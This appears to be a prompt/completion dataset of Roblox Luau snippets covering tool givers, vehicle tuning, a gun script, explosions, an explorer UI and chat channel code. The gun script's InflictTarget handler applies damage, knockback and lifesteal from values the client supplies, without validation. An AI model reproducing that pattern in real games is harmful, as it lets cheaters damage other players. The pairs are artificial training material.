prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent local debounce = true local tool = game.ServerStorage.FryingPan -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage hitPart.Touched:Connect(function(hit) if debounce == true then if hit.Parent:FindFirstChild("Humanoid") then local plr = game.Players:FindFirstChild(hit.Parent.Name) if plr then debounce = false hitPart.BrickColor = BrickColor.new("Bright red") tool:Clone().Parent = plr.Backpack wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again debounce = true hitPart.BrickColor = BrickColor.new("Bright green") end end end end)
--Scripted by DermonDarble
local car = script.Parent local stats = car.Configurations local Raycast = require(script.RaycastModule) local mass = 0 for i, v in pairs(car:GetChildren()) do if v:IsA("BasePart") then mass = mass + (v:GetMass() * 196.2) end end local bodyPosition = car.Chassis.BodyPosition local bodyGyro = car.Chassis.BodyGyro
--s.Pitch = 0.7 --[[for x = 1, 50 do s.Pitch = s.Pitch + 0.20 1.900 s:play() wait(0.001) end]] --[[Chopper level 5=1.2, Chopper level 4=1.04]]
s2.Volume=0 s.Volume=1 while s.Pitch<0.65 do s.Pitch=s.Pitch+0.009 s:Play() if s.Pitch>1 then s.Pitch=1 end wait(0.001) end while s.Pitch<0.97 do s.Pitch=s.Pitch+0.003 s:Play() if s.Pitch>1 then s.Pitch=1 end wait(0.001) end while true do for x = 1, 500 do s:play() wait(-9) end end
-- @Context Client -- Stores a reference to the character state
function APICharacterState.SetCharacterStateScript(characterStateScript) localCharacterState = characterStateScript end return APICharacterState
-- Connect 'MoveToFinished' event to the 'onWaypointReached' function
human.MoveToFinished:Connect(onWaypointReached)
--[[ Returns the current value of this Tween object. The object will be registered as a dependency unless `asDependency` is false. ]]
function class:get(asDependency: boolean?): any if asDependency ~= false then useDependency(self) end return self._currentValue end
--[[ Converts an event into a Promise with an optional predicate ]]
function Promise.fromEvent(event, predicate) predicate = predicate or function() return true end return Promise._new(debug.traceback(nil, 2), function(resolve, _reject, onCancel) local connection local shouldDisconnect = false local function disconnect() connection:Disconnect() connection = nil end -- We use shouldDisconnect because if the callback given to Connect is called before -- Connect returns, connection will still be nil. This happens with events that queue up -- events when there's nothing connected, such as RemoteEvents connection = event:Connect(function(...) local callbackValue = predicate(...) if callbackValue == true then resolve(...) if connection then disconnect() else shouldDisconnect = true end elseif type(callbackValue) ~= "boolean" then error("Promise.fromEvent predicate should always return a boolean") end end) if shouldDisconnect and connection then return disconnect() end onCancel(function() disconnect() end) end) end Promise.FromEvent = Promise.fromEvent return Promise
--Update RPM
function RPM() --Neutral Gear if _CGear==0 then _ClutchOn = false end --Car Is Off local revMin = _Tune.IdleRPM if not _IsOn then revMin = 0 _CGear = 0 _ClutchOn = false _GThrot = _Tune.IdleThrottle/100 end --Determine RPM local maxSpin=0 for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end if _ClutchOn then local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin) local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9) _RPM = _RPM*clutchP + aRPM*(1-clutchP) else if _GThrot-(_Tune.IdleThrottle/100)>0 then if _RPM>_Tune.Redline then _RPM = _RPM-_Tune.RevBounce*2 else _RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100) end else _RPM = math.max(_RPM-_Tune.RevDecay,revMin) end end --Rev Limiter _spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2]) if _RPM>_Tune.Redline then if _CGear<#_Tune.Ratios-2 then _RPM = _RPM-_Tune.RevBounce else _RPM = _RPM-_Tune.RevBounce*.5 end end end
--[[Engine]]
--Torque Curve Tune.Horsepower = 320 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--[[ PlayerScriptsLoader - This script requires and instantiates the PlayerModule singleton 2018 PlayerScripts Update - AllYourBlox --]]
require(script.Parent:WaitForChild("PlayerModule"))
--local TEAM
local VisualizeBullet = script.Parent:WaitForChild("VisualizeBullet") local Module = require(Tool:WaitForChild("Setting")) local ChangeAmmoAndClip = script:WaitForChild("ChangeAmmoAndClip") local InflictTarget = script:WaitForChild("InflictTarget") local Grip2 local Handle2 if Module.DualEnabled then Handle2 = Tool:WaitForChild("Handle2",1) if Handle2 == nil and Module.DualEnabled then error("\"Dual\" setting is enabled but \"Handle2\" is missing!") end end local AmmoValue = script:FindFirstChild("Ammo") or Instance.new("NumberValue",script) AmmoValue.Name = "Ammo" AmmoValue.Value = Module.AmmoPerClip local ClipsValue = script:FindFirstChild("Clips") or Instance.new("NumberValue",script) ClipsValue.Name = "Clips" ClipsValue.Value = Module.LimitedClipEnabled and Module.Clips or 0 if Module.IdleAnimationID ~= nil or Module.DualEnabled then local IdleAnim = Instance.new("Animation",Tool) IdleAnim.Name = "IdleAnim" IdleAnim.AnimationId = "rbxassetid://"..(Module.DualEnabled and 53610688 or Module.IdleAnimationID) end if Module.FireAnimationID ~= nil then local FireAnim = Instance.new("Animation",Tool) FireAnim.Name = "FireAnim" FireAnim.AnimationId = "rbxassetid://"..Module.FireAnimationID end if Module.ReloadAnimationID ~= nil then local ReloadAnim = Instance.new("Animation",Tool) ReloadAnim.Name = "ReloadAnim" ReloadAnim.AnimationId = "rbxassetid://"..Module.ReloadAnimationID end if Module.ShotgunClipinAnimationID ~= nil then local ShotgunClipinAnim = Instance.new("Animation",Tool) ShotgunClipinAnim.Name = "ShotgunClipinAnim" ShotgunClipinAnim.AnimationId = "rbxassetid://"..Module.ShotgunClipinAnimationID end ChangeAmmoAndClip.OnServerEvent:connect(function(Player,Ammo,Clips) AmmoValue.Value = Ammo ClipsValue.Value = Clips end) InflictTarget.OnServerEvent:connect(function(Player,TargetHumanoid,TargetTorso,Damage,Direction,Knockback,Lifesteal,FlamingBullet) if Player and TargetHumanoid and TargetHumanoid.Health ~= 0 and TargetTorso then while TargetHumanoid:FindFirstChild("creator") do TargetHumanoid.creator:Destroy() end local creator = Instance.new("ObjectValue",TargetHumanoid) creator.Name = "creator" creator.Value = Player game.Debris:AddItem(creator,5) TargetHumanoid:TakeDamage(Damage) if Knockback > 0 then TargetTorso.Velocity = Direction * Knockback end if Lifesteal > 0 and Humanoid and Humanoid.Health ~= 0 then Humanoid.Health = Humanoid.Health + (Damage*Lifesteal) end if FlamingBullet then local Debuff = TargetHumanoid.Parent:FindFirstChild("IgniteScript") or script.IgniteScript:Clone() Debuff.creator.Value = Player Debuff.Disabled = false Debuff.Parent = TargetHumanoid.Parent end end end) Tool.Equipped:connect(function() Player = game.Players:GetPlayerFromCharacter(Tool.Parent) Character = Tool.Parent Humanoid = Character:FindFirstChild("Humanoid") --TEAM = Character:FindFirstChild("TEAM") if Module.DualEnabled and Workspace.FilteringEnabled then Handle2.CanCollide = false local LeftArm = Tool.Parent:FindFirstChild("Left Arm") local RightArm = Tool.Parent:FindFirstChild("Right Arm") if RightArm then local Grip = RightArm:WaitForChild("RightGrip",0.01) if Grip then Grip2 = Grip:Clone() Grip2.Name = "LeftGrip" Grip2.Part0 = LeftArm Grip2.Part1 = Handle2 --Grip2.C1 = Grip2.C1:inverse() Grip2.Parent = LeftArm end end end end) Tool.Unequipped:connect(function() if Module.DualEnabled and Workspace.FilteringEnabled then Handle2.CanCollide = true if Grip2 then Grip2:Destroy() end end end)
--[[Engine]]
-- [TORQUE CURVE VISUAL] -- https://www.desmos.com/calculator/nap6stpjqf -- Use sliders to manipulate values -- Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo. Tune.Horsepower = 250 Tune.IdleRPM = 700 Tune.PeakRPM = 6000 Tune.Redline = 7000 Tune.EqPoint = 5500 Tune.PeakSharpness = 20 Tune.CurveMult = 0.2 Tune.InclineComp = 1.2 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Turbo Settings Tune.Aspiration = "Super" --[[ [Aspiration] "Natural" : N/A, Naturally aspirated engine "Single" : Single turbocharger "Double" : Twin turbocharger "Super" : Supercharger ]] Tune.Boost = 5 --Max PSI (If you have two turbos and this is 15, the PSI will be 30) Tune.TurboSize = 80 --Turbo size; the bigger it is, the more lag it has. Tune.CompressRatio = 9 --The compression ratio (look it up) Tune.Sensitivity = 0.05 --How quickly the Supercharger (if appllied) will bring boost when throttle is applied. (Increment applied per tick, suggested values from 0.05 to 0.1) --Misc Tune.RevAccel = 300 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 250 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
--function untagHumanoid(humanoid) -- if humanoid ~= nil then -- local tag = humanoid:findFirstChild("creator") -- if tag ~= nil then -- tag.Parent = nil -- end -- end --end
function explode() local explosion = Instance.new("Explosion") local blastradius=5 explosion.BlastRadius = blastradius explosion.BlastPressure = 10000 -- 10k explosion.DestroyJointRadiusPercent = math.random(0,20)/100 explosion.ExplosionType = 'CratersAndDebris' --explosion.Visible = false explosion.Position = script.Parent.Position explosion.Parent = game.Workspace explosion.Hit:connect(function(hitPart, hitDistance) local humanoid = hitPart.Parent:FindFirstChildWhichIsA("Humanoid") --print("onexplosionhit, part is "..hitPart.Name) --if character then -- local myPlayer = CreatorTag.Value -- if myPlayer and not myPlayer.Neutral then -- Ignore friendlies caught in the blast -- local player = PlayersService:GetPlayerFromCharacter(character) -- if player and player ~= myPlayer and player.TeamColor == Rocket.BrickColor then -- return -- end -- end --end if humanoid and humanoid.Health > 0 and hitPart.Name==("Torso") then -- Humanoids are tagged and damaged local dmg=math.random(40,50) dmg=dmg*(hitDistance/blastradius) humanoid:TakeDamage(dmg) print("dealt "..dmg.." damage to "..hitPart.Parent.Name) end end) end connection = ball.Touched:connect(onTouched)
---- IconMap ---- -- Image size: 256px x 256px -- Icon size: 16px x 16px -- Padding between each icon: 2px -- Padding around image edge: 1px -- Total icons: 14 x 14 (196)
local Icon do local iconMap = 'http://www.roblox.com/asset/?id=' .. MAP_ID game:GetService('ContentProvider'):Preload(iconMap) local iconDehash do -- 14 x 14, 0-based input, 0-based output local f=math.floor function iconDehash(h) return f(h/14%14),f(h%14) end end function Icon(IconFrame,index) local row,col = iconDehash(index) local mapSize = Vector2.new(256,256) local pad,border = 2,1 local iconSize = 16 local class = 'Frame' if type(IconFrame) == 'string' then class = IconFrame IconFrame = nil end if not IconFrame then IconFrame = Create(class,{ Name = "Icon"; BackgroundTransparency = 1; ClipsDescendants = true; Create('ImageLabel',{ Name = "IconMap"; Active = false; BackgroundTransparency = 1; Image = iconMap; Size = UDim2.new(mapSize.x/iconSize,0,mapSize.y/iconSize,0); }); }) end IconFrame.IconMap.Position = UDim2.new(-col - (pad*(col+1) + border)/iconSize,0,-row - (pad*(row+1) + border)/iconSize,0) return IconFrame end end local function CreateCell() local tableCell = Instance.new("Frame") tableCell.Size = UDim2.new(0.5, -1, 1, 0) tableCell.BackgroundColor3 = Row.BackgroundColor tableCell.BorderColor3 = Row.BorderColor return tableCell end local function CreateLabel(readOnly) local label = Instance.new("TextLabel") label.Font = Row.Font label.FontSize = Row.FontSize label.TextXAlignment = Row.TextXAlignment label.BackgroundTransparency = 1 if readOnly then label.TextColor3 = Row.TextLockedColor else label.TextColor3 = Row.TextColor end return label end local function CreateTextButton(readOnly, onClick) local button = Instance.new("TextButton") button.Font = Row.Font button.FontSize = Row.FontSize button.TextXAlignment = Row.TextXAlignment button.BackgroundTransparency = 1 if readOnly then button.TextColor3 = Row.TextLockedColor else button.TextColor3 = Row.TextColor button.MouseButton1Click:connect(function() onClick() end) end return button end local function CreateObject(readOnly) local button = Instance.new("TextButton") button.Font = Row.Font button.FontSize = Row.FontSize button.TextXAlignment = Row.TextXAlignment button.BackgroundTransparency = 1 if readOnly then button.TextColor3 = Row.TextLockedColor else button.TextColor3 = Row.TextColor end local cancel = Create(Icon('ImageButton',177),{ Name = "Cancel"; Visible = false; Position = UDim2.new(1,-20,0,0); Size = UDim2.new(0,20,0,20); Parent = button; }) return button end local function CreateTextBox(readOnly) if readOnly then local box = CreateLabel(readOnly) return box else local box = Instance.new("TextBox") if not SettingsRemote:Invoke("ClearProps") then box.ClearTextOnFocus = false end box.Font = Row.Font box.FontSize = Row.FontSize box.TextXAlignment = Row.TextXAlignment box.BackgroundTransparency = 1 box.TextColor3 = Row.TextColor return box end end local function CreateDropDownItem(text, onClick) local button = Instance.new("TextButton") button.Font = DropDown.Font button.FontSize = DropDown.FontSize button.TextColor3 = DropDown.TextColor button.TextXAlignment = DropDown.TextXAlignment button.BackgroundColor3 = DropDown.BackColor button.AutoButtonColor = false button.BorderSizePixel = 0 button.Active = true button.Text = text button.MouseEnter:connect(function() button.TextColor3 = DropDown.TextColorOver button.BackgroundColor3 = DropDown.BackColorOver end) button.MouseLeave:connect(function() button.TextColor3 = DropDown.TextColor button.BackgroundColor3 = DropDown.BackColor end) button.MouseButton1Click:connect(function() onClick(text) end) return button end local function CreateDropDown(choices, currentChoice, readOnly, onClick) local frame = Instance.new("Frame") frame.Name = "DropDown" frame.Size = UDim2.new(1, 0, 1, 0) frame.BackgroundTransparency = 1 frame.Active = true local menu = nil local arrow = nil local expanded = false local margin = DropDown.BorderSizePixel; local button = Instance.new("TextButton") button.Font = Row.Font button.FontSize = Row.FontSize button.TextXAlignment = Row.TextXAlignment button.BackgroundTransparency = 1 button.TextColor3 = Row.TextColor if readOnly then button.TextColor3 = Row.TextLockedColor end button.Text = currentChoice button.Size = UDim2.new(1, -2 * Styles.Margin, 1, 0) button.Position = UDim2.new(0, Styles.Margin, 0, 0) button.Parent = frame local function showArrow(color) if arrow then arrow:Destroy() end local graphicTemplate = Create('Frame',{ Name="Graphic"; BorderSizePixel = 0; BackgroundColor3 = color; }) local graphicSize = 16/2 arrow = ArrowGraphic(graphicSize,'Down',true,graphicTemplate) arrow.Position = UDim2.new(1,-graphicSize * 2,0.5,-graphicSize/2) arrow.Parent = frame end local function hideMenu() expanded = false showArrow(DropDown.ArrowColor) if menu then menu:Destroy() end end local function showMenu() expanded = true menu = Instance.new("Frame") menu.Size = UDim2.new(1, -2 * margin, 0, #choices * DropDown.Height) menu.Position = UDim2.new(0, margin, 0, Row.Height + margin) menu.BackgroundTransparency = 0 menu.BackgroundColor3 = DropDown.BackColor menu.BorderColor3 = DropDown.BorderColor menu.BorderSizePixel = DropDown.BorderSizePixel menu.Active = true menu.ZIndex = 5 menu.Parent = frame local parentFrameHeight = menu.Parent.Parent.Parent.Parent.Size.Y.Offset local rowHeight = menu.Parent.Parent.Parent.Position.Y.Offset if (rowHeight + menu.Size.Y.Offset) > math.max(parentFrameHeight,PropertiesFrame.AbsoluteSize.y) then menu.Position = UDim2.new(0, margin, 0, -1 * (#choices * DropDown.Height) - margin) end local function choice(name) onClick(name) hideMenu() end for i,name in pairs(choices) do local option = CreateDropDownItem(name, function() choice(name) end) option.Size = UDim2.new(1, 0, 0, 16) option.Position = UDim2.new(0, 0, 0, (i - 1) * DropDown.Height) option.ZIndex = menu.ZIndex option.Parent = menu end end showArrow(DropDown.ArrowColor) if not readOnly then button.MouseEnter:connect(function() button.TextColor3 = Row.TextColor showArrow(DropDown.ArrowColorOver) end) button.MouseLeave:connect(function() button.TextColor3 = Row.TextColor if not expanded then showArrow(DropDown.ArrowColor) end end) button.MouseButton1Click:connect(function() if expanded then hideMenu() else showMenu() end end) end return frame,button end local function CreateBrickColor(readOnly, onClick) local frame = Instance.new("Frame") frame.Size = UDim2.new(1,0,1,0) frame.BackgroundTransparency = 1 local colorPalette = Instance.new("Frame") colorPalette.BackgroundTransparency = 0 colorPalette.SizeConstraint = Enum.SizeConstraint.RelativeXX colorPalette.Size = UDim2.new(1, -2 * BrickColors.OuterBorder, 1, -2 * BrickColors.OuterBorder) colorPalette.BorderSizePixel = BrickColors.BorderSizePixel colorPalette.BorderColor3 = BrickColors.BorderColor colorPalette.Position = UDim2.new(0, BrickColors.OuterBorder, 0, BrickColors.OuterBorder + Row.Height) colorPalette.ZIndex = 5 colorPalette.Visible = false colorPalette.BorderSizePixel = BrickColors.OuterBorder colorPalette.BorderColor3 = BrickColors.OuterBorderColor colorPalette.Parent = frame local function show() colorPalette.Visible = true end local function hide() colorPalette.Visible = false end local function toggle() colorPalette.Visible = not colorPalette.Visible end local colorBox = Instance.new("TextButton", frame) colorBox.Position = UDim2.new(0, Styles.Margin, 0, Styles.Margin) colorBox.Size = UDim2.new(0, BrickColors.BoxSize, 0, BrickColors.BoxSize) colorBox.Text = "" colorBox.MouseButton1Click:connect(function() if not readOnly then toggle() end end) if readOnly then colorBox.AutoButtonColor = false end local spacingBefore = (Styles.Margin * 2) + BrickColors.BoxSize local propertyLabel = CreateTextButton(readOnly, function() if not readOnly then toggle() end end) propertyLabel.Size = UDim2.new(1, (-1 * spacingBefore) - Styles.Margin, 1, 0) propertyLabel.Position = UDim2.new(0, spacingBefore, 0, 0) propertyLabel.Parent = frame local size = (1 / BrickColors.ColorsPerRow) for index = 0, 127 do local brickColor = BrickColor.palette(index) local color3 = brickColor.Color local x = size * (index % BrickColors.ColorsPerRow) local y = size * math.floor(index / BrickColors.ColorsPerRow) local brickColorBox = Instance.new("TextButton") brickColorBox.Text = "" brickColorBox.Size = UDim2.new(size,0,size,0) brickColorBox.BackgroundColor3 = color3 brickColorBox.Position = UDim2.new(x, 0, y, 0) brickColorBox.ZIndex = colorPalette.ZIndex brickColorBox.Parent = colorPalette brickColorBox.MouseButton1Click:connect(function() hide() onClick(brickColor) end) end return frame,propertyLabel,colorBox end local function CreateColor3Control(readOnly, onClick) local frame = Instance.new("Frame") frame.Size = UDim2.new(1,0,1,0) frame.BackgroundTransparency = 1 local colorBox = Instance.new("TextButton", frame) colorBox.Position = UDim2.new(0, Styles.Margin, 0, Styles.Margin) colorBox.Size = UDim2.new(0, BrickColors.BoxSize, 0, BrickColors.BoxSize) colorBox.Text = "" colorBox.AutoButtonColor = false local spacingBefore = (Styles.Margin * 2) + BrickColors.BoxSize local box = CreateTextBox(readOnly) box.Size = UDim2.new(1, (-1 * spacingBefore) - Styles.Margin, 1, 0) box.Position = UDim2.new(0, spacingBefore, 0, 0) box.Parent = frame return frame,box,colorBox end function CreateCheckbox(value, readOnly, onClick) local checked = value local mouseover = false local checkboxFrame = Instance.new("ImageButton") checkboxFrame.Size = UDim2.new(0, Sprite.Width, 0, Sprite.Height) checkboxFrame.BackgroundTransparency = 1 checkboxFrame.ClipsDescendants = true --checkboxFrame.Position = UDim2.new(0, Styles.Margin, 0, Styles.Margin) local spritesheetImage = Instance.new("ImageLabel", checkboxFrame) spritesheetImage.Name = "SpritesheetImageLabel" spritesheetImage.Size = UDim2.new(0, Spritesheet.Width, 0, Spritesheet.Height) spritesheetImage.Image = Spritesheet.Image spritesheetImage.BackgroundTransparency = 1 local function updateSprite() local spriteName = GetCheckboxImageName(checked, readOnly, mouseover) local spritePosition = SpritePosition(spriteName) spritesheetImage.Position = UDim2.new(0, -1 * spritePosition[1], 0, -1 * spritePosition[2]) end local function setValue(val) checked = val updateSprite() end if not readOnly then checkboxFrame.MouseEnter:connect(function() mouseover = true updateSprite() end) checkboxFrame.MouseLeave:connect(function() mouseover = false updateSprite() end) checkboxFrame.MouseButton1Click:connect(function() onClick(checked) end) end updateSprite() return checkboxFrame, setValue end
--[[ Removes the current art applied. ]]
function Spot:removeArt() self.artId = nil self.ownerUserId = nil if self.onArtChanged then self.onArtChanged(self.artId, self.ownerUserId) end end function Spot:hasArt() return self.artId ~= nil and self.ownerUserId ~= nil end return Spot
--///////////////// Internal-Use Methods --//////////////////////////////////////
function methods:InternalDestroy() for i, speaker in pairs(self.Speakers) do speaker:LeaveChannel(self.Name) end self.eDestroyed:Fire() self.eDestroyed:Destroy() self.eMessagePosted:Destroy() self.eSpeakerJoined:Destroy() self.eSpeakerLeft:Destroy() self.eSpeakerMuted:Destroy() self.eSpeakerUnmuted:Destroy() end function methods:InternalDoMessageFilter(speakerName, messageObj, channel) local filtersIterator = self.FilterMessageFunctions:GetIterator() for funcId, func, priority in filtersIterator do local success, errorMessage = pcall(function() func(speakerName, messageObj, channel) end) if not success then warn(string.format("DoMessageFilter Function '%s' failed for reason: %s", funcId, errorMessage)) end end end function methods:InternalDoProcessCommands(speakerName, message, channel) local commandsIterator = self.ProcessCommandsFunctions:GetIterator() for funcId, func, priority in commandsIterator do local success, returnValue = pcall(function() local ret = func(speakerName, message, channel) if type(ret) ~= "boolean" then error("Process command functions must return a bool") end return ret end) if not success then warn(string.format("DoProcessCommands Function '%s' failed for reason: %s", funcId, returnValue)) elseif returnValue then return true end end return false end function methods:InternalPostMessage(fromSpeaker, message, extraData) if (self:InternalDoProcessCommands(fromSpeaker.Name, message, self.Name)) then return false end if (self.Mutes[fromSpeaker.Name:lower()] ~= nil) then local t = self.Mutes[fromSpeaker.Name:lower()] if (t > 0 and os.time() > t) then self:UnmuteSpeaker(fromSpeaker.Name) else self:SendSystemMessageToSpeaker(ChatLocalization:Get("GameChat_ChatChannel_MutedInChannel","You are muted and cannot talk in this channel"), fromSpeaker.Name) return false end end local messageObj = self:InternalCreateMessageObject(message, fromSpeaker.Name, false, extraData) message = self:SendMessageObjToFilters(message, messageObj, fromSpeaker) local sentToList = {} for i, speaker in pairs(self.Speakers) do local isMuted = speaker:IsSpeakerMuted(fromSpeaker.Name) if not isMuted and self:CanCommunicate(fromSpeaker, speaker) then table.insert(sentToList, speaker.Name) if speaker.Name == fromSpeaker.Name then -- Send unfiltered message to speaker who sent the message. local cMessageObj = ShallowCopy(messageObj) cMessageObj.Message = message cMessageObj.IsFiltered = true -- We need to claim the message is filtered even if it not in this case for compatibility with legacy client side code. speaker:InternalSendMessage(cMessageObj, self.Name) else speaker:InternalSendMessage(messageObj, self.Name) end end end local success, err = pcall(function() self.eMessagePosted:Fire(messageObj) end) if not success and err then print("Error posting message: " ..err) end --// START FFLAG if (not IN_GAME_CHAT_USE_NEW_FILTER_API) then --// USES FFLAG --// OLD BEHAVIOR local filteredMessages = {} for i, speakerName in pairs(sentToList) do local filteredMessage = self.ChatService:InternalApplyRobloxFilter(messageObj.FromSpeaker, message, speakerName) if filteredMessage then filteredMessages[speakerName] = filteredMessage else return false end end for i, speakerName in pairs(sentToList) do local speaker = self.Speakers[speakerName] if (speaker) then local cMessageObj = ShallowCopy(messageObj) cMessageObj.Message = filteredMessages[speakerName] cMessageObj.IsFiltered = true speaker:InternalSendFilteredMessage(cMessageObj, self.Name) end end local filteredMessage = self.ChatService:InternalApplyRobloxFilter(messageObj.FromSpeaker, message) if filteredMessage then messageObj.Message = filteredMessage else return false end messageObj.IsFiltered = true self:InternalAddMessageToHistoryLog(messageObj) --// OLD BEHAVIOR else --// NEW BEHAVIOR local filterSuccess, isFilterResult, filteredMessage = self.ChatService:InternalApplyRobloxFilterNewAPI(messageObj.FromSpeaker, message) if (filterSuccess) then messageObj.FilterResult = filteredMessage messageObj.IsFilterResult = isFilterResult else return false end messageObj.IsFiltered = true self:InternalAddMessageToHistoryLog(messageObj) for _, speakerName in pairs(sentToList) do local speaker = self.Speakers[speakerName] if (speaker) then speaker:InternalSendFilteredMessageWithFilterResult(messageObj, self.Name) end end --// NEW BEHAVIOR end --// END FFLAG -- One more pass is needed to ensure that no speakers do not recieve the message. -- Otherwise a user could join while the message is being filtered who had not originally been sent the message. local speakersMissingMessage = {} for _, speaker in pairs(self.Speakers) do local isMuted = speaker:IsSpeakerMuted(fromSpeaker.Name) if not isMuted and self:CanCommunicate(fromSpeaker, speaker) then local wasSentMessage = false for _, sentSpeakerName in pairs(sentToList) do if speaker.Name == sentSpeakerName then wasSentMessage = true break end end if not wasSentMessage then table.insert(speakersMissingMessage, speaker.Name) end end end --// START FFLAG if (not IN_GAME_CHAT_USE_NEW_FILTER_API) then --// USES FFLAG --// OLD BEHAVIOR for _, speakerName in pairs(speakersMissingMessage) do local speaker = self.Speakers[speakerName] if speaker then local filteredMessage = self.ChatService:InternalApplyRobloxFilter(messageObj.FromSpeaker, message, speakerName) if filteredMessage == nil then return false end local cMessageObj = ShallowCopy(messageObj) cMessageObj.Message = filteredMessage cMessageObj.IsFiltered = true speaker:InternalSendFilteredMessage(cMessageObj, self.Name) end end --// OLD BEHAVIOR else --// NEW BEHAVIOR for _, speakerName in pairs(speakersMissingMessage) do local speaker = self.Speakers[speakerName] if speaker then speaker:InternalSendFilteredMessageWithFilterResult(messageObj, self.Name) end end --// NEW BEHAVIOR end --// END FFLAG return messageObj end function methods:InternalAddSpeaker(speaker) if (self.Speakers[speaker.Name]) then warn("Speaker \"" .. speaker.name .. "\" is already in the channel!") return end self.Speakers[speaker.Name] = speaker local success, err = pcall(function() self.eSpeakerJoined:Fire(speaker.Name) end) if not success and err then print("Error removing channel: " ..err) end end function methods:InternalRemoveSpeaker(speaker) if (not self.Speakers[speaker.Name]) then warn("Speaker \"" .. speaker.name .. "\" is not in the channel!") return end self.Speakers[speaker.Name] = nil local success, err = pcall(function() self.eSpeakerLeft:Fire(speaker.Name) end) if not success and err then print("Error removing speaker: " ..err) end end function methods:InternalRemoveExcessMessagesFromLog() local remove = table.remove while (#self.ChatHistory > self.MaxHistory) do remove(self.ChatHistory, 1) end end function methods:InternalAddMessageToHistoryLog(messageObj) table.insert(self.ChatHistory, messageObj) self:InternalRemoveExcessMessagesFromLog() end function methods:GetMessageType(message, fromSpeaker) if fromSpeaker == nil then return ChatConstants.MessageTypeSystem end return ChatConstants.MessageTypeDefault end function methods:InternalCreateMessageObject(message, fromSpeaker, isFiltered, extraData) local messageType = self:GetMessageType(message, fromSpeaker) local speakerUserId = -1 local speaker = nil if fromSpeaker then speaker = self.Speakers[fromSpeaker] if speaker then local player = speaker:GetPlayer() if player then speakerUserId = player.UserId else speakerUserId = 0 end end end local messageObj = { ID = self.ChatService:InternalGetUniqueMessageId(), FromSpeaker = fromSpeaker, SpeakerUserId = speakerUserId, OriginalChannel = self.Name, MessageLength = string.len(message), MessageType = messageType, IsFiltered = isFiltered, Message = isFiltered and message or nil, --// These two get set by the new API. The comments are just here --// to remind readers that they will exist so it's not super --// confusing if they find them in the code but cannot find them --// here. --FilterResult = nil, --IsFilterResult = false, Time = os.time(), ExtraData = {}, } if speaker then for k, v in pairs(speaker.ExtraData) do messageObj.ExtraData[k] = v end end if (extraData) then for k, v in pairs(extraData) do messageObj.ExtraData[k] = v end end return messageObj end function methods:SetChannelNameColor(color) self.ChannelNameColor = color for i, speaker in pairs(self.Speakers) do speaker:UpdateChannelNameColor(self.Name, color) end end function methods:GetWelcomeMessageForSpeaker(speaker) if self.GetWelcomeMessageFunction then local welcomeMessage = self.GetWelcomeMessageFunction(speaker) if welcomeMessage then return welcomeMessage end end return self.WelcomeMessage end function methods:RegisterGetWelcomeMessageFunction(func) if type(func) ~= "function" then error("RegisterGetWelcomeMessageFunction must be called with a function.") end self.GetWelcomeMessageFunction = func end function methods:UnRegisterGetWelcomeMessageFunction() self.GetWelcomeMessageFunction = nil end
-- --if Health < ultimavida - configuracao.InjuredDamage then -- -- ACS_Client:SetAttribute("Injured",true) -- --end
-- Render players (Will run at max FPS)
-- initial players for i,plr in pairs(game.Players:GetPlayers()) do local plr_Handler = VF_Handler:RenderHumanoid(plr.Character or plr.CharacterAdded:Wait()) end -- joining players game.Players.PlayerAdded:Connect(function(plr) local plr_Handler = VF_Handler:RenderHumanoid(plr.Character or plr.CharacterAdded:Wait()) end)
-- Set the humanoid's WalkSpeed to the sprint speed
humanoid.WalkSpeed = sprintSpeed
-- elseif input.UserInputType == self.activeGamepad and input.KeyCode == Enum.KeyCode.ButtonL3 then -- if (state == Enum.UserInputState.Begin) then -- self.L3ButtonDown = true -- elseif (state == Enum.UserInputState.End) then -- self.L3ButtonDown = false -- self.currentZoomSpeed = 1.00 -- end -- end
end function BaseCamera:DoKeyboardZoom(name, state, input) if not self.hasGameLoaded and VRService.VREnabled then return Enum.ContextActionResult.Pass end if state ~= Enum.UserInputState.Begin then return Enum.ContextActionResult.Pass end if self.distanceChangeEnabled then if input.KeyCode == Enum.KeyCode.I then self:SetCameraToSubjectDistance( self.currentSubjectDistance - 5 ) elseif input.KeyCode == Enum.KeyCode.O then self:SetCameraToSubjectDistance( self.currentSubjectDistance + 5 ) end return Enum.ContextActionResult.Sink end return Enum.ContextActionResult.Pass end function BaseCamera:BindAction(actionName, actionFunc, createTouchButton, ...) table.insert(self.boundContextActions, actionName) ContextActionService:BindActionAtPriority(actionName, actionFunc, createTouchButton, CAMERA_ACTION_PRIORITY, ...) end function BaseCamera:BindGamepadInputActions() if FFlagPlayerScriptsBindAtPriority then self:BindAction("BaseCameraGamepadPan", function(name, state, input) return self:GetGamepadPan(name, state, input) end, false, Enum.KeyCode.Thumbstick2) 